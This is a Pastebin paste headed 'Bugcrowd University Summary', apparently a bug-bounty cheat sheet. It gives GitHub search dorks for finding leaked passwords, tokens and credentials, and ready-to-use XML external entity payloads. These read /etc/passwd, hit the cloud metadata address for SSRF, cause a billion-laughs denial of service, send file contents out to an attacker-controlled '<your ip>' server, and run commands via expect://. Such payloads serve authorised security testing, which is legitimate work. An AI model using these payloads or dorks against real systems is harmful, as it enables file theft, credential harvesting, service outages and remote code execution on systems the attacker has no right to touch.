Advertisement
0xspade

Bugcrowd University Summary

Sep 6th, 2019
421
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 1.85 KB | None | 0 0
  1. GITHUB
  2. "example.com" "ssh|sftp|ftp|proxy|vpn|vsphere|internal|siem|firewall"
  3. "Company" password|secret|credentials|token|config|key|secret|pass|login|ftp|pwd
  4. "Company" security_credentials|connectionstring|JDBC|ssh2_auth_password|send_keys|send,keys
  5. "Company" language:{programming language} keyword
  6. "Company" language:{programming language} keyword NOT some_keyword_you_dont_want
  7. org:organization_name
  8. user:username_github
  9. "example.com" dotfiles
  10.  
  11. https://github.com/michenriksen/gitrob
  12. https://github.com/random-robbie/keywords/
  13. https://github.com/Shashank-In/TravisLeaks
  14. https://gist.github.com/EdOverflow/4d96b379da40b6c9006ac5e721450651
  15.  
  16.  
  17. CLASSIC XXE
  18. <?xml version="1.0" encoding="UTF-8"?>
  19. <!DOCTYPE foo [<!ENTITY xxe "file:///etc/passwd"> ]>
  20. <userinfo>
  21. <firstName>Test</firstName>
  22. <lastName>&xxe;</lastName>
  23. </userinfo>
  24.  
  25. SSRF
  26. <?xml version="1.0" encoding="UTF-8"?>
  27. <!DOCTYPE foo [<!ENTITY xxe "http://169.254.169.254/"> ]>
  28. <userinfo>
  29. <firstName>Test</firstName>
  30. <lastName>&xxe;</lastName>
  31. </userinfo>
  32.  
  33. DOS
  34. <?xml version="1.0" encoding="UTF-8"?>
  35. <!DOCTYPE data [ <!ENTITY a0 "dos" ><!ELEMENT ax (#PCDATA)>
  36. <!ENTITY a1 "&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;&a0;">
  37. <!ENTITY a2 "&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;&a1;">
  38. <!ENTITY a3 "&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;&a2;">
  39. <!ENTITY a4 "&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;&a3;">
  40. ]>
  41. <data>&a4;</data>
  42.  
  43. ADVANCED XXE
  44. <?xml version="1.0" encoding="UTF-8"?>
  45. <!DOCTYPE data [<!ENTITY % remote SYSTEM "http://<your ip>/call.dtd"> %remote; ]>
  46.  
  47. Content of host.dtd
  48. <!ENTITY % all "<!ENTITY send SYSTEM 'http://<your ip>/collect.php?file=%file;'>">
  49. %all;
  50.  
  51. <!DOCTYPE roottag [
  52. <!ENTITY % file SYSTEM "file:///etc/passwd">
  53. <!ENTITY % dtd SYSTEM "http://<your ip>/host.dtd">
  54. %dtd;
  55. ]>
  56. <roottag>&send;</roottag>
  57.  
  58.  
  59. RCE
  60. <!DOCTYPE replace [<!ENTITY ent SYSTEM "expect://whoami"> ]>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement